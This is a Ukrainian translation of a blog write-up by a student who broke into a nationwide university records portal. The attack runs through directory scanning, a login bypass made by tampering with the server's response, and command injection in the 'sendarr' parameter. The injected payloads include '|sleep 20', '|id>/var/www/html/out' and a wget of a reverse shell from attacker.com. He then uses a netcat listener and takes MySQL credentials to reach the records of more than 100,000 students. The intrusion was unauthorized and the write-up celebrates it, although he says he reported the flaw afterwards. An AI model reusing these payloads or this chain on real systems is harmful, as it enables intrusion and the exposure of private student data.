ВСТУП
Привіт друзі, я студент 3-го курсу BCA та частково мислитель про помилки, який дуже захоплений кібербезпекою (головним чином веб-безпекою). Ось коротка стаття про те, як мені вдалося вринути до сервера великого порталу рішень університету, який має багато університетських клієнтів та тисячі даних студентів.
ВИ МОЖЕТЕ ПРИЄДНУВАТИСЯ ДО МОГО СЕРВЕРА DISCORD ТУТ: https://discord.gg/h6dE8C4D
ВІДКРИТТЯ
Одного разу, коли я попросив свою вчительку про свою відвідуваність з її журналу, вона відмовила і сказала "НІ, просто перевір свій студентський портал". Без багатьох питань я пішов до своєї кімнати, увімкнув свій ноутбук, увійшов у портал. Під час перевірки відвідуваності щось з'явилось у моїй голові. "Що, якщо я врину у це?". Відмова вчителя і моя відвідуваність (мені не вистачало) вивели в мене мислення хакера. Моя єдина мета - вринути у цей сервер, нічого менше. І я почав тестувати його...
ЦІЛЬ
Це веб-сайт, який використовується багатьма університетами/коледжами по всій Індії для управління записами студентів, відмітками, відвідуваністю, зошитами відповідей та більше. На веб-сайт можуть увійти тільки студенти та викладачі, оскільки для реєстрації потрібний дійсний реєстраційний номер університету.
На цьому сервері також є мобільний додаток, який використовує ту саму базу даних.
РЕКОН
Я почав процес реконування з пошуку майже кожного піддомену та під-піддомену цілі за допомогою таких інструментів, як Subfinder, Assetfinder, amass, crt.sh, ffuf. Я зберіг домен цілі у файлі під назвою "обсяг" і запустив ці інструменти на ньому. Проте я не зміг знайти жодних цікавих піддоменів для цього домена.
Сам портал є піддоменом, наприклад studentportal.example.com. Тому я перейшов до моєї наступної стадії реконування, яка включає сканування директорій. Моїм улюбленим інструментом для сканування директорій є FFUF. Це швидкий та надійний інструмент, створений для сканування. Тому я запустив цю команду:
ffuf -w /usr/share/wordlists/dirb/big.
markdown
-рекурсія -u https://studentportal.example.com/ -mc 200,301,302
І залишив його працювати близько хвилини.
Я знайшов цікаву теку під назвою /bkp.
Покинувши сканер позаду, я швидко відвідав точку доступу /bkp і знайшов сторінку. Це була сторінка входу до порталу резервного копіювання. І я подумав… Знайшов перший крок!!!
Сторінка входу до сторінки резервного копіювання бази даних.
Тож я почав спамити кожною можливою комбінацією типових облікових даних, і жодна не спрацювала. Тож розпочинаю атаку…
ЧАСТКОВЕ ОМИНАННЯ АВТЕНТИФІКАЦІЇ
Можливо, ви дивуєтеся, що таке "часткове" у процесі обходу автентифікації, я розкажу після показу, як я зробив обхід автентифікації.
Я розпочав перехоплення в BurpSuite та надіслав запит із відомими обліковими даними. Тепер я бачу, що запит було відправлено із введеними даними.
Запит та відповідь на спробу входу в систему
Справжній фахівець вже може помітити уразливість тут!!
У відповіді ми бачимо слово «невдача», Це означає, що перевірка входу в систему грає велику роль у валідації з боку клієнта. Ймовірність атаки маніпулювання відповіддю.
Тож я перевірив код на стороні клієнта і побачив, що сервер повертає дані для резервного копіювання при успішному вході, і перенаправляє користувача на панель, де відображаються назви баз даних, повернених з логіну. Оскільки я не знав, які резервні копії існують на сервері, я спробував змінити "невдачу" на "успіх". Запит повернув 200, і він надіслав запит безпосередньо до /bkp/connect.php (Файл connect.php використовується для входу в базу даних MYSQL на сервері).
І Я ПОБАЧИВ, ЩО Я УВІЙШОВ У ПАНЕЛЬ!!
Але це було частково, означає, що відображені назви баз даних були 's', 'u', 'c', 'c', 'e', 's', 's', оскільки вони розглядали кожну літеру як назву бази даних.
Я не міг бачити назв баз даних, які можуть бути резервно скопійовані, але я можу використати функцію резервного копіювання, якби я знав назви баз даних.
ВИКОРИСТАННЯ КОДУ НА ВІДСТАНТОВОМУ СЕРВЕРІ
У панелі я побачив кнопку під назвою "Backup" (Резервне копіювання). Функція цієї кнопки полягала в тому, щоб завантажити вибрані дані резервної копії у файл ZIP. Натиснувши на кнопку резервного копіювання, вона відправляє POST-запит на /bkp/backup1.php, де вона надсилає назви резервованих баз даних в параметрі під назвою "sendarr".
Запит після натискання на резервне копіювання
Тому я спробував провести фазування з параметром sendarr протягом 10–20 хвилин, і нарешті я виявив велике відкриття.
Коли я ввів для sendarr значення %00 (Nullbyte), сервер впав з цікавою відповіддю про помилку.
Відповідь, яка показує використання функції exec() в бекенді
У бекенді використовувалася функція exec() для обробки цього резервного копіювання.
Команда exec() у PHP використовується для виконання системних команд з PHP-файлу.
Якщо ви хочете дізнатися більше про те, що робить exec(), прочитайте тут.
Я був дуже захоплений цією відповіддю, оскільки вона показує, що сервер використовує exec() для цього процесу. Тому я одразу впровадив пейлоуд, який робить затримку на 20 секунд і надсилає відповідь.
sendarr=|sleep 20
Символ | (Пайп) використовується в Bash/Linux-терміналі для перенаправлення відповіді команди до іншої команди, по суті ланцюжковий виклик.
Отже, поточна команда в бекенді виглядатиме так:
./backup.sh | sleep 20
Таким чином, після виконання backup.sh виконується команда затримки.
Я відправив запит і Ого!! Серверу знадобилося 20.6 секунд, щоб відповісти на запит. І тепер я підтвердив, що це уразливість RCE.
Наразі це сліпе вразливість, мені потрібно отримати видиме підтвердження цього перед рухом далі, тому я виконав команду і перенаправив вихід у /var/www/html/out.
Домашня директорія для веб-сайту знаходиться у /var/www/html, тож якщо я поміщу файл всередину домашньої директорії, який містить вивід виконаної мною команди, я зможу побачити результат, відвідавши /out. Тож я внекерував цей пейлод:
sendarr=|id\>/var/www/html/out
Цей пейлод виконує команду "іd" на сервері і перенаправляє вивід у файл out.
А потім я відвідав /out. і ТАДАМ!!!
Тепер я отримав виконання коду, я створив простий Python скрипт для взаємодії із сервером як з оболонкою.
Простий RCE експлоіт
Тепер час зламати сервер...
ОТРИМАННЯ ДОСТУПУ
Для входу на сервер я використав зворотню оболонку від PentestMonkey.
Я розмістив файл зворотної оболонки на моїй атакуючій машині і завантажив його на цільовий сервер, використовуючи наступний пейлод:
sendarr=|wget https://attacker.com/rev.php
Ця команда завантажила зворотню оболонку в домашню директорію веб-сайту.
Тепер я запустив прослуховувач на netcat і відвідав /rev.php
І Я ПОЛУЧИВ ОБОЛОНКУ!!!!
Зворотня оболонка
Тепер я успішно потрапив на сервер.
Я був дуже щасливим і одночасно нервовим. У мене була хакерська впертість переглянути файли для пошуку чутливої інформації.
Я знайшов всі програмні файли на сервері, що викривають функціональність, такі як управління даними про студентів, програма для генерації відомостей про оцінки, програма для додавання оцінок студентів у базу даних, програма для внесення даних про відвідування, обробка платежів та інше.
Під час пошуку по файлам, я отримав те, що шукав… файл під назвою consts.php, в якому містяться дані для входу до MySQL, які можна використати для входу в базу даних.
_Облікові дані MySQL, знайдені в consts.
Вламавшись до бази даних
Не витрачаючи зайвого часу, я швидко спробував увійти до MySQL за допомогою наступної команди:
mysql -h servername.rds.amazonaws.com -u username -p
І ВАХ!! Я у базі даних!!!
Я знайшов багато баз даних різних університетів та коледжів.
Знайшов свій коледж у списку й спробував знайти дані про мою відвідуваність, зарахування, оцінки - і мені вдалося знайти цю інформацію!
Ось деякі знімки екрану знайдених даних:
Як відповідальний етичний хакер, мені не варто спробувати змінювати/видаляти/додавати будь-які дані у базу даних. Тому я повідомив про це декану коледжу, який передав це ІТ-команді постачальника послуг, на зняття уразливості знадобилося майже 2 тижні.
У базі даних були дані про понад 100 000 студентів з усієї країни.
Висновок
Нарешті я здійснив своє завдання і взломав сервер. Мені знадобилося 3 дні, щоб виконати повний ланцюжок використання уразливостей і дістатися до бази даних.
Це було моїм швидким звітом, сподіваюся, вам сподобався. Натискайте на цей звіт, якщо він вам сподобався. Слідкуйте за оновленнями...
Перекладено з: How I Hacked Into a Nationwide University Database System Exposing Thousands of Student Records